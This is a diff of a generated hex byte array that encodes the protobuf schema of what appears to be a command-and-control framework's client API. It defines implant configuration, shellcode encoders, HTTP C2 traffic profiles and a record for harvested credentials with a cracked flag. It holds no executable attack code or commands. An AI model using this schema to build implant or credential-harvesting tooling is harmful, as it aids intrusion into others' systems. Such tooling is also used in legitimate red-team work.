+ 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c,
+ 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
+ 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
+ 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c,
+ 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47,
+ 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b,
+ 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c,
+ 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64,
+ 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61,
+ 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01,
+ 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65,
+ 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69,
+ 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c,
+ 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42,
+ 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
+ 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39,
+ 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75,
+ 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52,
+ 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75,
+ 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65,
+ 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a,
+ 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f,
+ 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d,
+ 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65,
+ 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65,
+ 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67,
+ 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43,
+ 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20,
+ 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
+ 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72,
+ 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d,
+ 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a,
+ 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
+ 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22,
+ 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12,
+ 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
+ 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e,
+ 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72,
+ 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77,
+ 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08,
+ 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54,
+ 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65,
+ 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61,
+ 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65,
+ 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53,
+ 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72,
+ 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b,
+ 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50,
+ 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52,
+ 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc,
+ 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32, 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56,
+ 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69,
+ 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61,
+ 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64,
+ 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43,
+ 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f,
+ 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05,
+ 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65,
+ 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67,
+ 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73,
+ 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11,
0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f,
- 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42,
- 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61,
- 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e,
- 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43,
- 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63,
- 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c,
- 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65,
- 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50,
- 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55,
- 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07,
- 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48,
- 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a,
- 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05,
- 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69,
- 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69,
- 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74,
- 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74,
- 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b,
- 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30,
- 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61,
- 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
- 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c,
- 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c,
- 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69,
- 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46,
- 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14,
- 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e,
- 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73,
- 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
- 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74,
- 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c,
- 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
- 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73,
- 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d,
- 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74,
- 0x73, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69,
- 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49,
- 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
- 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12,
- 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
- 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62,
- 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50,
- 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48,
- 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65,
- 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49,
- 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
- 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a,
- 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61,
- 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69,
- 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62,
- 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
- 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49,
- 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49,
- 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46,
- 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79,
- 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e,
- 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79,
- 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65,
- 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
- 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
- 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74,
- 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78,
- 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70,
- 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73,
- 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63,
- 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73,
- 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69,
